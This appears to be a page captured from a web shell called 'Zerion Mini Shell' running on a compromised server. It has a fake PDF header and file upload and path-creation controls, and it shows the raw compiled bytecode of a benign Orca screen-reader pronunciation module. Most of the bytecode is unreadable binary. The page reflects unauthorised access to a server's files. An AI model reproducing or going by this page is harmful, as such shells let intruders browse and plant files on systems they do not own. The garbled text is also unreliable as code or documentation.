%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/orca/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/orca/__pycache__/pronunciation_dict.cpython-312.pyc

�

g
fD
��0�dZdZdZdZdZdZd	d�Zd	d�ZiZy)
zRExposes a dictionary, pronunciation_dict, that maps words to what
they sound like.z$Id$z
$Revision$z$Date$z-Copyright (c) 2006-2008 Sun Microsystems Inc.�LGPLNc�h�|j�}|xst}|j|||g�}|dS)aQGiven a word, return a string that represents what this word
    sounds like. Note: This code does not handle the pronunciation
    of character names. That should be handled at the speech provider
    or synthesizer level. For instance the symbols.dic files installed
    in /usr/share/speech-dispatcher.

    Arguments:
    - word: the word to get the "sounds like" representation for.
    - pronunciations: an optional dictionary used to get the pronunciation
      from.

    Returns a string that represents what this word sounds like, or 
    the word if there is no representation.
    �)�lower�pronunciation_dict�get)�word�pronunciations�	lowerWord�
dictionary�entrys     �9/usr/lib/python3/dist-packages/orca/pronunciation_dict.py�getPronunciationrs7�� �
�
��I��5�#5�J��N�N�9�t�T�l�3�E���8�O�c�N�|j�}|�||g||<y||gt|<y)a9Given an actual word, and a replacement string, set a key/value
    pair in a pronunciation dictionary.

    Arguments:
    - word: the word to be pronunced.
    - replacementString: the replacement string to use instead.
    - pronunciations: an optional dictionary used to set the pronunciation
      into.
    N)rr)r�replacementStringr	�keys    r
�setPronunciationr3s6���*�*�,�C��!� $�&7�9��s��$(�*;�"=��3�r)N)	�__doc__�__id__�__version__�__date__�
__copyright__�__license__rrr�rr
�<module>rs7��(�������?�
����,>�*�r

Zerion Mini Shell 1.0